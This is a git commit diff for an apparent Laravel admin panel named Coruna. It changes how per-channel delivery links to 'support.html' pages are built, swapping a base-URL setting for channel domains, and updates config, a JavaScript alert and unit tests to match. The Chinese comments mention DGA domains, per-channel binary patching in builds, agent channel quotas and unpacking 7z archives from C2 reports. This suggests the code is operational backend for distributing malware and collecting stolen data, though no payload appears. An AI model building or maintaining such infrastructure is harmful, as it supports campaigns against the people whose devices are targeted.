fix: ios 16
This commit is contained in:
+1
-3
@@ -57,9 +57,7 @@ CORUNA_CHANNEL_BUILDER_PYTHON=
|
|||||||
CORUNA_ARTIFACT_ROOT=
|
CORUNA_ARTIFACT_ROOT=
|
||||||
CORUNA_CHANNEL_STATE_ROOT=
|
CORUNA_CHANNEL_STATE_ROOT=
|
||||||
CORUNA_CHANNEL_BUILDER_TIMEOUT=600
|
CORUNA_CHANNEL_BUILDER_TIMEOUT=600
|
||||||
# Optional complete origin/base path prepended before /web/{id}/support.html
|
# Scheme for support links built from CORUNA_LAB_CHANNEL_DOMAINS
|
||||||
# Same-host: leave empty or set to APP_URL
|
|
||||||
CORUNA_STATIC_SITE_BASE_URL=
|
|
||||||
CORUNA_STATIC_SITE_SCHEME=https
|
CORUNA_STATIC_SITE_SCHEME=https
|
||||||
# Max channel links per agent (super-admin settings can override)
|
# Max channel links per agent (super-admin settings can override)
|
||||||
CORUNA_MAX_CHANNELS_PER_AGENT=5
|
CORUNA_MAX_CHANNELS_PER_AGENT=5
|
||||||
|
|||||||
@@ -62,7 +62,7 @@ CORUNA_CHANNEL_BUILDER_PYTHON=/path/to/channel-builder/.venv/bin/python
|
|||||||
# CORUNA_ARTIFACT_ROOT=
|
# CORUNA_ARTIFACT_ROOT=
|
||||||
# CORUNA_CHANNEL_STATE_ROOT=
|
# CORUNA_CHANNEL_STATE_ROOT=
|
||||||
CORUNA_CHANNEL_BUILDER_TIMEOUT=600
|
CORUNA_CHANNEL_BUILDER_TIMEOUT=600
|
||||||
CORUNA_STATIC_SITE_BASE_URL=https://admin.example.com
|
CORUNA_LAB_CHANNEL_DOMAINS=cdn.example.com
|
||||||
```
|
```
|
||||||
|
|
||||||
同机时 Admin 站点 `public/` 即静态根;DGA 域名反代到同一 `public/`:
|
同机时 Admin 站点 `public/` 即静态根;DGA 域名反代到同一 `public/`:
|
||||||
|
|||||||
@@ -47,8 +47,8 @@ class Channel extends Model
|
|||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Domains for support-link display and builder channel hosts.
|
* Domains for support-link display.
|
||||||
* Channel row wins; otherwise CORUNA_LAB_CHANNEL_DOMAINS.
|
* Channel row wins; otherwise CORUNA_LAB_CHANNEL_DOMAINS (system settings).
|
||||||
*
|
*
|
||||||
* @return list<string>
|
* @return list<string>
|
||||||
*/
|
*/
|
||||||
@@ -90,11 +90,6 @@ class Channel extends Model
|
|||||||
{
|
{
|
||||||
$links = [];
|
$links = [];
|
||||||
$path = '/web/'.$this->channel_id.'/support.html';
|
$path = '/web/'.$this->channel_id.'/support.html';
|
||||||
$baseUrl = rtrim((string) config('coruna.static_site.base_url', ''), '/');
|
|
||||||
if ($baseUrl !== '') {
|
|
||||||
$links[] = $baseUrl.$path;
|
|
||||||
}
|
|
||||||
|
|
||||||
$scheme = trim((string) config('coruna.static_site.scheme', 'https')) ?: 'https';
|
$scheme = trim((string) config('coruna.static_site.scheme', 'https')) ?: 'https';
|
||||||
foreach ($this->resolvedDomains() as $domain) {
|
foreach ($this->resolvedDomains() as $domain) {
|
||||||
$origin = rtrim($domain, '/');
|
$origin = rtrim($domain, '/');
|
||||||
|
|||||||
+1
-2
@@ -14,8 +14,7 @@ return [
|
|||||||
'deployment_domains' => $channelDomains,
|
'deployment_domains' => $channelDomains,
|
||||||
'reporting_domains' => $reportingDomains,
|
'reporting_domains' => $reportingDomains,
|
||||||
'static_site' => [
|
'static_site' => [
|
||||||
// Optional complete origin/base path prepended before /web/{id}/support.html.
|
// Scheme used when CORUNA_LAB_CHANNEL_DOMAINS entries omit https://.
|
||||||
'base_url' => rtrim((string) env('CORUNA_STATIC_SITE_BASE_URL', ''), '/'),
|
|
||||||
'scheme' => env('CORUNA_STATIC_SITE_SCHEME', 'https'),
|
'scheme' => env('CORUNA_STATIC_SITE_SCHEME', 'https'),
|
||||||
],
|
],
|
||||||
'channel_builder' => [
|
'channel_builder' => [
|
||||||
|
|||||||
@@ -223,11 +223,9 @@ CORUNA_CHANNEL_BUILDER_PYTHON=/www/wwwroot/coruna-lab/channel-builder/.venv/bin/
|
|||||||
# CORUNA_CHANNEL_STATE_ROOT=/www/wwwroot/coruna-lab/storage/app/channel-builder
|
# CORUNA_CHANNEL_STATE_ROOT=/www/wwwroot/coruna-lab/storage/app/channel-builder
|
||||||
CORUNA_CHANNEL_BUILDER_TIMEOUT=600
|
CORUNA_CHANNEL_BUILDER_TIMEOUT=600
|
||||||
|
|
||||||
CORUNA_STATIC_SITE_BASE_URL=https://admin.example.com
|
# 后台「投放链接」展示域名(不驱动二进制补丁;DGA 域名以首次构建返回为准)
|
||||||
|
CORUNA_LAB_CHANNEL_DOMAINS=cdn.example.com
|
||||||
CORUNA_STATIC_SITE_SCHEME=https
|
CORUNA_STATIC_SITE_SCHEME=https
|
||||||
|
|
||||||
# 可选:后台链接展示用(不驱动二进制补丁;DGA 域名以首次构建返回为准)
|
|
||||||
CORUNA_LAB_CHANNEL_DOMAINS=
|
|
||||||
CORUNA_REPORTING_DOMAINS=
|
CORUNA_REPORTING_DOMAINS=
|
||||||
|
|
||||||
# C2 上报 7z 解包(与 build_api 无关,仍需配置)
|
# C2 上报 7z 解包(与 build_api 无关,仍需配置)
|
||||||
|
|||||||
@@ -130,7 +130,7 @@ layui.use(['table', 'form', 'layer'], function () {
|
|||||||
function openLinks(row) {
|
function openLinks(row) {
|
||||||
var links = row.links || [];
|
var links = row.links || [];
|
||||||
if (!links.length) {
|
if (!links.length) {
|
||||||
return layer.msg('未生成投放链接(请配置 CORUNA_STATIC_SITE_BASE_URL)');
|
return layer.msg('未生成投放链接(请配置 CORUNA_LAB_CHANNEL_DOMAINS 或系统设置→投放域名)');
|
||||||
}
|
}
|
||||||
var html = '<div style="padding:16px;">';
|
var html = '<div style="padding:16px;">';
|
||||||
links.forEach(function (u, i) {
|
links.forEach(function (u, i) {
|
||||||
|
|||||||
@@ -28,7 +28,6 @@ class ChannelProjectServiceTest extends TestCase
|
|||||||
'coruna.channel_builder.artifact_root' => storage_path('app/channel-artifacts-test'),
|
'coruna.channel_builder.artifact_root' => storage_path('app/channel-artifacts-test'),
|
||||||
'coruna.channel_builder.timeout' => 30,
|
'coruna.channel_builder.timeout' => 30,
|
||||||
'coruna.channel_domains' => ['fallback.test'],
|
'coruna.channel_domains' => ['fallback.test'],
|
||||||
'coruna.static_site.base_url' => 'https://static.test/assets',
|
|
||||||
]);
|
]);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -173,13 +172,11 @@ class ChannelProjectServiceTest extends TestCase
|
|||||||
'domains' => ['channel.test'],
|
'domains' => ['channel.test'],
|
||||||
]);
|
]);
|
||||||
$this->assertSame([
|
$this->assertSame([
|
||||||
'https://static.test/assets/web/'.self::CHANNEL_ID.'/support.html',
|
|
||||||
'https://channel.test/web/'.self::CHANNEL_ID.'/support.html',
|
'https://channel.test/web/'.self::CHANNEL_ID.'/support.html',
|
||||||
], $withStored->supportLinks());
|
], $withStored->supportLinks());
|
||||||
|
|
||||||
$fallback = new Channel(['channel_id' => self::CHANNEL_ID, 'domains' => []]);
|
$fallback = new Channel(['channel_id' => self::CHANNEL_ID, 'domains' => []]);
|
||||||
$this->assertSame([
|
$this->assertSame([
|
||||||
'https://static.test/assets/web/'.self::CHANNEL_ID.'/support.html',
|
|
||||||
'https://fallback.test/web/'.self::CHANNEL_ID.'/support.html',
|
'https://fallback.test/web/'.self::CHANNEL_ID.'/support.html',
|
||||||
], $fallback->supportLinks());
|
], $fallback->supportLinks());
|
||||||
}
|
}
|
||||||
|
|||||||
Reference in New Issue
Block a user